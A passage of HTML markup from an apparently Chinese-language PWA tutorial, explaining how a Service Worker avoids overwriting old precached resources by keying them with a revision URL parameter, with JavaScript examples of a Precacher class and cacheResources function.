name=\"&#x91CD;&#x540D;&#x8D44;&#x6E90;&#x7684;&#x52A0;&#x8F7D;\" class=\"plugin-anchor\" href=\"#&#x91CD;&#x540D;&#x8D44;&#x6E90;&#x7684;&#x52A0;&#x8F7D;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x91CD;&#x540D;&#x8D44;&#x6E90;&#x7684;&#x52A0;&#x8F7D;</h3>\n<p>&#x5728;&#x52A0;&#x8F7D;&#x65B0;&#x8D44;&#x6E90;&#x7684;&#x65F6;&#x5019;&#x6B63;&#x5904;&#x4E8E;&#x65B0;&#x7684; Service Worker &#x5B89;&#x88C5;&#x9636;&#x6BB5;&#xFF0C;&#x6B64;&#x65F6;&#x65E7;&#x7684; Service Worker &#x4ECD;&#x5728;&#x6B63;&#x5E38;&#x5DE5;&#x4F5C;&#xFF0C;&#x56E0;&#x6B64;&#x5728;&#x52A0;&#x8F7D;&#x65B0;&#x8D44;&#x6E90;&#x7684;&#x65F6;&#x5019;&#x9700;&#x8981;&#x683C;&#x5916;&#x6CE8;&#x610F;&#xFF0C;&#x4E0D;&#x8981;&#x8986;&#x76D6;&#x6389;&#x5177;&#x6709;&#x76F8;&#x540C;&#x8DEF;&#x5F84;&#x7684;&#x65E7;&#x8D44;&#x6E90;&#x3002;&#x89E3;&#x51B3;&#x8FD9;&#x4E2A;&#x95EE;&#x9898;&#x6709;&#x4EE5;&#x4E0B;&#x51E0;&#x79CD;&#x65B9;&#x6848;&#xFF1A;</p>\n<p>1.&#x65B0;&#x65E7;&#x8D44;&#x6E90;&#x4F7F;&#x7528;&#x4E0D;&#x540C;&#x540D;&#x79F0;&#x7684;&#x7F13;&#x5B58;&#x5BF9;&#x8C61;&#x8FDB;&#x884C;&#x5B58;&#x50A8;&#x3002;</p>\n<p>&#x8FD9;&#x79CD;&#x65B9;&#x6848;&#x80FD;&#x591F;&#x975E;&#x5E38;&#x65B9;&#x4FBF;&#x5730;&#x89E3;&#x51B3;&#x91CD;&#x540D;&#x95EE;&#x9898;&#xFF0C;&#x65B0;&#x65E7;&#x8D44;&#x6E90;&#x4F7F;&#x7528;&#x4E0D;&#x540C;&#x540D;&#x79F0;&#x7684;&#x7F13;&#x5B58;&#x5BF9;&#x8C61;&#x8FDB;&#x884C;&#x5B58;&#x50A8;&#xFF0C;&#x90A3;&#x4E48;&#x5404;&#x81EA;&#x7684;&#x8D44;&#x6E90;&#x5728;&#x5B58;&#x50A8;&#x65F6;&#x5C31;&#x5DF2;&#x7ECF;&#x76F8;&#x4E92;&#x9694;&#x79BB;&#xFF0C;&#x56E0;&#x6B64;&#x4E0D;&#x9700;&#x8981;&#x5173;&#x5FC3;&#x8D44;&#x6E90;&#x662F;&#x5426;&#x91CD;&#x540D;&#xFF0C;&#x751A;&#x81F3;&#x4E0D;&#x9700;&#x8981;&#x5173;&#x5FC3;&#x8D44;&#x6E90;&#x662F;&#x5426;&#x589E;&#x51CF;&#x3001;&#x4FEE;&#x6539;&#x7B49;&#x95EE;&#x9898;&#xFF0C;&#x5168;&#x90E8;&#x8D44;&#x6E90;&#x90FD;&#x9700;&#x8981;&#x8FDB;&#x884C;&#x52A0;&#x8F7D;&#x548C;&#x7F13;&#x5B58;&#x3002;&#x8FD9;&#x6837;&#x65B0;&#x65E7;&#x8D44;&#x6E90;&#x7684;&#x7BA1;&#x7406;&#x95EE;&#x9898;&#x5C31;&#x8F6C;&#x5316;&#x6210;&#x4E86;&#x65B0;&#x65E7;&#x5B58;&#x50A8;&#x4ED3;&#x5E93;&#x7684;&#x7BA1;&#x7406;&#x95EE;&#x9898;&#xFF0C;&#x6211;&#x4EEC;&#x53EA;&#x9700;&#x5173;&#x5FC3;&#x5982;&#x4F55;&#x589E;&#x52A0;&#x65B0;&#x4ED3;&#x5E93;&#xFF0C;&#x5220;&#x9664;&#x65E7;&#x4ED3;&#x5E93;&#x5373;&#x53EF;&#x3002;</p>\n<p>&#x4F46;&#x8FD9;&#x5E76;&#x4E0D;&#x662F;&#x6700;&#x4F18;&#x65B9;&#x6848;&#xFF0C;&#x56E0;&#x4E3A;&#x65B0;&#x65E7;&#x8D44;&#x6E90;&#x5F53;&#x4E2D;&#x53EF;&#x80FD;&#x5B58;&#x5728;&#x6CA1;&#x6709;&#x53D1;&#x751F;&#x53D8;&#x5316;&#x7684;&#x90E8;&#x5206;&#xFF0C;&#x8FD9;&#x90E8;&#x5206;&#x8D44;&#x6E90;&#x7684;&#x91CD;&#x590D;&#x52A0;&#x8F7D;&#x5176;&#x5B9E;&#x662F;&#x6CA1;&#x5FC5;&#x8981;&#x7684;&#xFF0C;&#x65E2;&#x989D;&#x5916;&#x6D88;&#x8017;&#x4E86;&#x7528;&#x6237;&#x6D41;&#x91CF;&#xFF0C;&#x4E5F;&#x540C;&#x65F6;&#x51CF;&#x7F13;&#x4E86; Service Worker &#x7684;&#x5B89;&#x88C5;&#x901F;&#x5EA6;&#x3002;&#x6240;&#x4EE5;&#x5982;&#x679C;&#x8981;&#x5BF9;&#x8BE5;&#x65B9;&#x6848;&#x505A;&#x8FDB;&#x4E00;&#x6B65;&#x4F18;&#x5316;&#xFF0C;&#x53EF;&#x4EE5;&#x5728;&#x52A0;&#x8F7D;&#x65B0;&#x8D44;&#x6E90;&#x4E4B;&#x524D;&#x9996;&#x5148;&#x901A;&#x8FC7;&#x8D44;&#x6E90;&#x6BD4;&#x5BF9;&#x7684;&#x65B9;&#x5F0F;&#xFF0C;&#x5C06;&#x6CA1;&#x6709;&#x53D8;&#x5316;&#x7684;&#x8D44;&#x6E90;&#x76F4;&#x63A5;&#x4ECE;&#x65E7;&#x4ED3;&#x5E93;&#x590D;&#x5236;&#x5230;&#x65B0;&#x4ED3;&#x5E93;&#x5F53;&#x4E2D;&#xFF0C;&#x5269;&#x4E0B;&#x7684;&#x518D;&#x53BB;&#x8BF7;&#x6C42;&#x7F51;&#x7EDC;&#x8D44;&#x6E90;&#x3002;</p>\n<p>2.&#x786E;&#x4FDD;&#x8D44;&#x6E90;&#x4E0D;&#x91CD;&#x540D;&#x3002;</p>\n<p>&#x501F;&#x52A9; Webpack&#x3001;Rollup &#x7B49;&#x6784;&#x5EFA;&#x5DE5;&#x5177;&#x8FDB;&#x884C;&#x524D;&#x7AEF;&#x5F00;&#x53D1;&#x65F6;&#xFF0C;&#x53EF;&#x4EE5;&#x914D;&#x7F6E;&#x7F16;&#x8BD1;&#x4EA7;&#x51FA;&#x7684;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x540D;&#x79F0;&#x5E26;&#x4E0A;&#x6587;&#x4EF6;&#x7684; md5&#xFF0C;&#x8FD9;&#x6837;&#x5C31;&#x80FD;&#x591F;&#x4FDD;&#x8BC1;&#x5185;&#x5BB9;&#x53D1;&#x751F;&#x53D8;&#x66F4;&#x7684;&#x8D44;&#x6E90;&#x4E0D;&#x4F1A;&#x4EA7;&#x751F;&#x76F8;&#x540C;&#x7684; URL&#x3002;&#x4F46;&#x8FD9;&#x79CD;&#x65B9;&#x6848;&#x5E76;&#x4E0D;&#x9002;&#x7528;&#x4E8E;&#x6240;&#x6709;&#x7684;&#x9759;&#x6001;&#x8D44;&#x6E90;&#x3002;&#x4E3E;&#x4E2A;&#x4F8B;&#x5B50;&#xFF0C;&#x6BD4;&#x5982;&#x524D;&#x7AEF;&#x6E32;&#x67D3;&#x7684; HTML&#xFF0C;&#x5C3D;&#x7BA1;&#x5B83;&#x5C5E;&#x4E8E;&#x9759;&#x6001;&#x8D44;&#x6E90;&#xFF0C;&#x4F46;&#x662F;&#x5B83;&#x7684; URL &#x5C31;&#x4E0D;&#x5141;&#x8BB8;&#x9891;&#x7E41;&#x53D8;&#x66F4;&#xFF0C;&#x56E0;&#x6B64;&#x9700;&#x8981;&#x91C7;&#x7528;&#x5176;&#x4ED6;&#x65B9;&#x6848;&#x4F5C;&#x4E3A;&#x8865;&#x5145;&#x3002;</p>\n<p>&#x5728;&#x524D;&#x9762;&#x8D44;&#x6E90;&#x5217;&#x8868;&#x5C0F;&#x8282;&#x5185;&#x5BB9;&#x5F53;&#x4E2D;&#xFF0C;&#x4ECB;&#x7ECD;&#x4E86;&#x4E00;&#x79CD;&#x901A;&#x8FC7;&#x589E;&#x52A0; revision &#x53C2;&#x6570;&#x6765;&#x6807;&#x8BC6;&#x6587;&#x4EF6;&#x662F;&#x5426;&#x53D1;&#x751F;&#x53D8;&#x5316;&#x7684;&#x65B9;&#x6CD5;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x5229;&#x7528;&#x8FD9;&#x4E2A;&#x53C2;&#x6570;&#x5C06; URL &#x6539;&#x9020;&#x6210;&#x4E0D;&#x91CD;&#x540D;&#x7684;&#x5F62;&#x5F0F;&#x3002;&#x6700;&#x7B80;&#x5355;&#x7684;&#x505A;&#x6CD5;&#x662F;&#xFF0C;&#x5C06; revision &#x4EE5; Search &#x53C2;&#x6570;&#x7684;&#x65B9;&#x5F0F;&#x62FC;&#x63A5;&#x5230; URL &#x5F53;&#x4E2D;&#x3002;&#x4E0B;&#x9762;&#x901A;&#x8FC7;&#x4EE3;&#x7801;&#x4E3E;&#x4F8B;&#x8BF4;&#x660E;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> resource <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span>\n  url<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;/index.js&apos;</span><span class=\"token punctuation\">,</span>\n  revision<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;abc&apos;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token keyword\">let</span> cacheKey <span class=\"token operator\">=</span> location<span class=\"token punctuation\">.</span>origin <span class=\"token operator\">+</span>\n  resource<span class=\"token punctuation\">.</span>url <span class=\"token operator\">+</span>\n  <span class=\"token string\">&apos;?precache_url_revision=&apos;</span> <span class=\"token operator\">+</span>\n  resource<span class=\"token punctuation\">.</span>revision\n<span class=\"token comment\">// &#x6253;&#x5370; http://127.0.0.1:8080/index.js?precache_url_revision=abc</span>\nconsole<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>cacheKey<span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x5B9E;&#x4F8B;&#x5316; URL &#x7C7B;&#x5BF9;&#x8C61;&#x6765;&#x7B80;&#x5316;&#x4E0A;&#x8FF0;&#x62FC;&#x63A5;&#x8FC7;&#x7A0B;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> cacheKeyURL <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">URL</span><span class=\"token punctuation\">(</span>resource<span class=\"token punctuation\">.</span>url<span class=\"token punctuation\">,</span> location<span class=\"token punctuation\">)</span>\ncacheKeyURL<span class=\"token punctuation\">.</span>searchParams<span class=\"token punctuation\">.</span><span class=\"token function\">set</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;precache_url_revision&apos;</span><span class=\"token punctuation\">,</span> resource<span class=\"token punctuation\">.</span>revision<span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">let</span> cacheKey <span class=\"token operator\">=</span> cacheKeyURL<span class=\"token punctuation\">.</span>href\n</code></pre>\n<p>&#x5176;&#x4E2D;&#x6240;&#x589E;&#x52A0;&#x7684; Search &#x53C2;&#x6570;&#x7684;&#x53C2;&#x6570;&#x540D;&#x5E94;&#x8BE5;&#x8BBE;&#x7F6E;&#x6210;&#x6BD4;&#x8F83;&#x7279;&#x6B8A;&#x7684;&#x540D;&#x79F0;&#x4EE5;&#x907F;&#x514D;&#x539F;&#x59CB; URL &#x5B58;&#x5728;&#x540C;&#x540D;&#x53C2;&#x6570;&#x5BFC;&#x81F4;&#x88AB;&#x8986;&#x76D6;&#x3002;&#x7531;&#x4E8E; revision &#x5177;&#x6709;&#x552F;&#x4E00;&#x6027;&#xFF0C;&#x5C31;&#x4FDD;&#x8BC1;&#x4E86;&#x751F;&#x6210;&#x7684; URL &#x540C;&#x6837;&#x5177;&#x6709;&#x552F;&#x4E00;&#x6027;&#xFF0C;&#x8FD9;&#x6837;&#x4F5C;&#x4E3A;&#x8D44;&#x6E90;&#x5B58;&#x50A8;&#x7684;&#x952E;&#x503C;&#x5C31;&#x80FD;&#x591F;&#x4FDD;&#x8BC1;&#x4E0D;&#x4F1A;&#x8986;&#x76D6;&#x6389;&#x65E7;&#x8D44;&#x6E90;&#x3002;&#x5728;&#x7F13;&#x5B58;&#x67E5;&#x8BE2;&#x7684;&#x65F6;&#x5019;&#x4E3B;&#x52A8;&#x7ED9; URL &#x6302;&#x4E0A;&#x8FD9;&#x4E2A;&#x53C2;&#x6570;&#x518D;&#x53BB;&#x67E5;&#x8BE2;&#x5373;&#x53EF;&#x3002;&#x4E0B;&#x9762;&#x901A;&#x8FC7;&#x4EE3;&#x7801;&#x7B80;&#x5355;&#x6F14;&#x793A;&#x8FD9;&#x4E2A;&#x5B58;&#x53D6;&#x8FC7;&#x7A0B;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> resource <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span>\n  url<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;/index.js&apos;</span><span class=\"token punctuation\">,</span>\n  revision<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;abc&apos;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token comment\">// &#x5B58;&#x50A8;</span>\n<span class=\"token comment\">// &#x7ED9;&#x8D44;&#x6E90; URL &#x62FC;&#x63A5; precache_url_revision &#x53C2;&#x6570;&#xFF0C;&#x5E76;&#x4F5C;&#x4E3A;&#x952E;&#x503C;&#x5B58;&#x50A8;</span>\n<span class=\"token keyword\">let</span> cacheKeyURL <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">URL</span><span class=\"token punctuation\">(</span>resource<span class=\"token punctuation\">.</span>url<span class=\"token punctuation\">,</span> location<span class=\"token punctuation\">)</span>\ncacheKeyURL<span class=\"token punctuation\">.</span>searchParams<span class=\"token punctuation\">.</span><span class=\"token function\">set</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;precache_url_revision&apos;</span><span class=\"token punctuation\">,</span> resource<span class=\"token punctuation\">.</span>revision<span class=\"token punctuation\">)</span>\ncache<span class=\"token punctuation\">.</span><span class=\"token function\">put</span><span class=\"token punctuation\">(</span>cacheKeyURL<span class=\"token punctuation\">.</span>href<span class=\"token punctuation\">,</span> response<span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\">// &#x8BFB;&#x53D6;</span>\n<span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>requestURL <span class=\"token operator\">===</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">URL</span><span class=\"token punctuation\">(</span>resource<span class=\"token punctuation\">.</span>url<span class=\"token punctuation\">,</span> location<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span>href<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x7ED9;&#x8D44;&#x6E90;&#x8BF7;&#x6C42; URL &#x62FC;&#x63A5; precache_url_revision &#x53C2;&#x6570;&#xFF0C;&#x5E76;&#x4F5C;&#x4E3A;&#x952E;&#x503C;&#x67E5;&#x8BE2;</span>\n  <span class=\"token keyword\">let</span> cacheKeyURL <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">URL</span><span class=\"token punctuation\">(</span>requestURL<span class=\"token punctuation\">,</span> location<span class=\"token punctuation\">)</span>\n  cacheKeyURL<span class=\"token punctuation\">.</span>searchParams<span class=\"token punctuation\">.</span><span class=\"token function\">set</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;precache_url_revision&apos;</span><span class=\"token punctuation\">,</span> resource<span class=\"token punctuation\">.</span>revision<span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x67E5;&#x627E;&#x7F13;&#x5B58;&#x8D44;&#x6E90;</span>\n  cache<span class=\"token punctuation\">.</span><span class=\"token function\">match</span><span class=\"token punctuation\">(</span>cacheKeyURL<span class=\"token punctuation\">.</span>href<span class=\"token punctuation\">)</span><span class=\"token punctuation\">.</span><span class=\"token function\">then</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">response</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>response <span class=\"token operator\">!=</span> <span class=\"token keyword\">null</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token comment\">// &#x8D44;&#x6E90;&#x5339;&#x914D;&#x6210;&#x529F;</span>\n    <span class=\"token punctuation\">}</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x7ECF;&#x8FC7;&#x8865;&#x5145;&#x65B9;&#x6848;&#x7684;&#x5B8C;&#x5584;&#x4E4B;&#x540E;&#xFF0C;&#x5373;&#x4F7F; URL &#x5B8C;&#x5168;&#x4E00;&#x6837;&#x7684;&#x8D44;&#x6E90;&#x4E5F;&#x80FD;&#x591F;&#x89E3;&#x51B3;&#x65B0;&#x65E7;&#x8D44;&#x6E90;&#x8986;&#x76D6;&#x7684;&#x95EE;&#x9898;&#x3002;</p>\n<h3 id=\"&#x9884;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#x52A0;&#x8F7D;&#x5B9E;&#x73B0;\"><a name=\"&#x9884;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#x52A0;&#x8F7D;&#x5B9E;&#x73B0;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x9884;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#x52A0;&#x8F7D;&#x5B9E;&#x73B0;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x9884;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#x52A0;&#x8F7D;&#x5B9E;&#x73B0;\" class=\"plugin-anchor\" href=\"#&#x9884;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#x52A0;&#x8F7D;&#x5B9E;&#x73B0;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x9884;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#x52A0;&#x8F7D;&#x5B9E;&#x73B0;</h3>\n<!-- FIXME: chapter05代码不在了,下同 -->\n<p>&#x63A5;&#x4E0B;&#x6765;&#x6211;&#x4EEC;&#x5C06;&#x91C7;&#x7528;&#x65B9;&#x6848; 2 &#x6765;&#x6F14;&#x793A;&#x9884;&#x7F13;&#x5B58;&#x529F;&#x80FD;&#x7684;&#x5B9E;&#x73B0;&#xFF0C;&#x8BFB;&#x8005;&#x4E5F;&#x53EF;&#x4EE5;&#x6839;&#x636E;&#x601D;&#x8DEF;&#x81EA;&#x884C;&#x5B9E;&#x73B0;&#x65B9;&#x6848; 1 &#x4EE5;&#x52A0;&#x6DF1;&#x7406;&#x89E3;&#x3002;&#x5728;&#x8FD9;&#x91CC;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x5C06;&#x9884;&#x7F13;&#x5B58;&#x529F;&#x80FD;&#x5C01;&#x88C5;&#x6210;&#x4E00;&#x4E2A; Precacher &#x7C7B;&#xFF0C;&#x7136;&#x540E;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; <code>precache()</code> &#x65B9;&#x6CD5;&#x4F20;&#x5165;&#x9884;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#x4FE1;&#x606F;&#x3002;&#x5B8C;&#x6574;&#x7684;&#x4EE3;&#x7801;&#x53EF;&#x4EE5;&#x79FB;&#x6B65; <a href=\"https://github.com/lavas-project/pwa-book-demo/chapter05/precache/precacher.js\" target=\"_blank\">GitHub</a> &#x8FDB;&#x884C;&#x5B66;&#x4E60;&#x3002;&#x4EE5;&#x4E0B;&#x662F;&#x76F8;&#x5173;&#x4EE3;&#x7801;&#x5B9E;&#x73B0;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">class</span> <span class=\"token class-name\">Precacher</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token function\">constructor</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n    cacheName <span class=\"token operator\">=</span> <span class=\"token string\">&apos;precache&apos;</span><span class=\"token punctuation\">,</span>\n    searchKey <span class=\"token operator\">=</span> <span class=\"token string\">&apos;precache_url_revision&apos;</span>\n  <span class=\"token punctuation\">}</span> <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>cacheName <span class=\"token operator\">=</span> cacheName\n    <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>searchKey <span class=\"token operator\">=</span> searchKey\n    <span class=\"token comment\">// &#x5B58;&#x50A8;&#x8D44;&#x6E90;&#x4FE1;&#x606F;&#x7684;&#x5217;&#x8868;</span>\n    <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>resources <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span>\n    <span class=\"token comment\">// &#x521D;&#x59CB;&#x5316;&#x4E8B;&#x4EF6;&#x76D1;&#x542C;</span>\n    <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span><span class=\"token function\">initEventListener</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n\n  <span class=\"token function\">initEventListener</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x5728; `install` &#x4E8B;&#x4EF6;&#x56DE;&#x8C03;&#x6267;&#x884C;&#x9884;&#x7F13;&#x5B58;&#x8D44;&#x6E90;&#x52A0;&#x8F7D;</span>\n    self<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;install&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token parameter\">event</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n      event<span class=\"token punctuation\">.</span><span class=\"token function\">waitUntil</span><span class=\"token punctuation\">(</span>\n        <span class=\"token comment\">// &#x7F13;&#x5B58;&#x65B0;&#x589E;/&#x53D8;&#x5316;&#x7684;&#x8D44;&#x6E90;</span>\n        <span class=\"token function\">cacheResources</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>cacheName<span class=\"token punctuation\">,</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>resources<span class=\"token punctuation\">)</span>\n      <span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n\n  <span class=\"token function\">precache</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">resources</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">let</span> resource <span class=\"token keyword\">of</span> resources<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token comment\">// &#x683C;&#x5F0F;&#x5316;&#x8D44;&#x6E90;&#x4FE1;&#x606F;</span>\n      <span class=\"token keyword\">let</span> res <span class=\"token operator\">=</span> <span class=\"token function\">formatResource</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>searchKey<span class=\"token punctuation\">,</span> resource<span class=\"token punctuation\">)</span>\n      <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>resources<span class=\"token punctuation\">.</span><span class=\"token function\">push</span><span class=\"token punctuation\">(</span>res<span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x5176;&#x4E2D; install &#x4E8B;&#x4EF6;&#x4E2D;&#x6240;&#x4F7F;&#x7528;&#x7684; <code>cacheResources()</code> &#x65B9;&#x6CD5;&#x4F1A;&#x9996;&#x5148;&#x627E;&#x51FA;&#x65B0;&#x589E;&#x6216;&#x5185;&#x5BB9;&#x53D1;&#x751F;&#x53D8;&#x5316;&#x7684;&#x8D44;&#x6E90;&#xFF0C;&#x7136;&#x540E;&#x91CD;&#x65B0;&#x8BF7;&#x6C42;&#x5E76;&#x7F13;&#x5B58;&#x3002;&#x5177;&#x4F53;&#x5B9E;&#x73B0;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">async</span> <span class=\"token keyword\">function</span> <span class=\"token function\">cacheResources</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">cacheName<span class=\"token punctuation\">,</span> resources</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">let</span> urls <span class=\"token operator\">=</span> resources<span class=\"token punctuation\">.</span><span class=\"token function\">map</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">resource</span> <span class=\"token operator\">=&gt;</span> resource<span class=\"token punctuation\">.</span>cacheKey<span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x9996;&#x5148;&#x6253;&#x5F00;&#x5E76;&#x7F13;&#x5B58; CacheStorage &#x5BF9;&#x8C61;</span>\n  <span class=\"token keyword\">let</span> cache <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> caches<span class=\"token punctuation\">.</span><span class=\"token function\">open</span><span class=\"token punctuation\">(</span>cacheName<span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x83B7;&#x53D6;&#x5DF2;&#x5B58;&#x50A8;&#x7684;&#x6240;&#x6709;&#x8D44;&#x6E90;&#x952E;&#x503C;&#x4FE1;&#x606F;</span>\n  <span class=\"token keyword\">let</span> requests <span class=\"token operator\">=</span> <span class=\"token keyword\">await</span> cache<span class=\"token punctuation\">.</span><span class=\"token function\">keys</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x83B7;&#x53D6;&#x5DF2;&#x5B58;&#x50A8;&#x7684;&#x8D44;&#x6E90; URL</span>\n  <span class=\"token keyword\">let</span> cachedURLs <span class=\"token operator\">=</span> requests<span class=\"token punctuation\">.</span><span class=\"token function\">map</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">request</span> <span class=\"token operator\">=&gt;</span> request<span class=\"token punctuation\">.</span>url<span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x627E;&#x51FA;&#x65B0;&#x589E;&#x8D44;&#x6E90;&#x91CC;&#x9762;&#x672A;&#x5B58;&#x50A8;&#x8FC7;&#x7684;&#x8D44;&#x6E90; URL</span>\n  <span class=\"token keyword\">let</span> updateURLs <span class=\"token operator\">=</span> urls<span class=\"token punctuation\">.</span><span class=\"token function\">filter</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">url</span> <span class=\"token operator\">=&gt;</span> <span class=\"token operator\">!</span>cachedURLs<span class=\"token punctuation\">.</span><span class=\"token function\">includes</span><span class=\"token punctuation\">(</span>url<span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x6700;&#x540E;&#x8C03;&#x7528; cache.addAll() &#x7F13;&#x5B58;&#x65B0;&#x589E;&#x8D44;&#x6E90;</span>\n  <span class=\"token keyword\">await</span> cache<span class=\"token punctuation\">.</span><span class=\"token function\">addAll</span><span class=\"token punctuation\">(</span>updateURLs<span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x53E6;&#x5916;&#x5728;&#x8C03;&#x7528; <code>precache()</code> &#x65F6;&#xFF0C;&#x4F20;&#x5165;&#x7684;&#x8D44;&#x6E90;&#x4FE1;&#x606F;&#x53EF;&#x80FD;&#x662F;&#x5B57;&#x7B26;&#x4E32;&#x6216;&#x8005;&#x5BF9;&#x8C61;&#xFF0C;&#x56E0;&#x6B64;&#x9700;&#x8981; <code>formatResource()</code> &#x65B9;&#x6CD5;&#x5C06;&#x8D44;&#x6E90;&#x4FE1;&#x606F;&#x683C;&#x5F0F;&#x5316;&#xFF0C;&#x683C;&#x5F0F;&#x5316;&#x8FC7;&#x7A0B;&#x5305;&#x62EC; URL &#x4FE1;&#x606F;&#x8865;&#x5168;&#x4EE5;&#x53CA;&#x7C7B;&#x578B;&#x7EDF;&#x4E00;&#x3002;&#x7ECF;&#x8FC7;&#x683C;&#x5F0F;&#x5316;&#x540E;&#x7684;&#x8D44;&#x6E90;&#x4FE1;&#x606F;&#x5BF9;&#x8C61;&#x5C06;&#x5305;&#x542B;&#x4E24;&#x4E2A;&#x5C5E;&#x6027;&#xFF1A;url &#x4E3A;&#x8865;&#x5168;&#x540E;&#x7684;&#x8D44;&#x6E90;&#x539F;&#x59CB; URL&#xFF0C;cacheKey &#x4E3A;&#x8D44;&#x6E90;&#x5B58;&#x5165;&#x7F13;&#x5B58;&#x4E2D;&#x7684;&#x952E;&#x503C;&#x3002;&#x5177;&#x4F53;&#x5B9E;&#x73B0;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">function</span> <span class=\"token 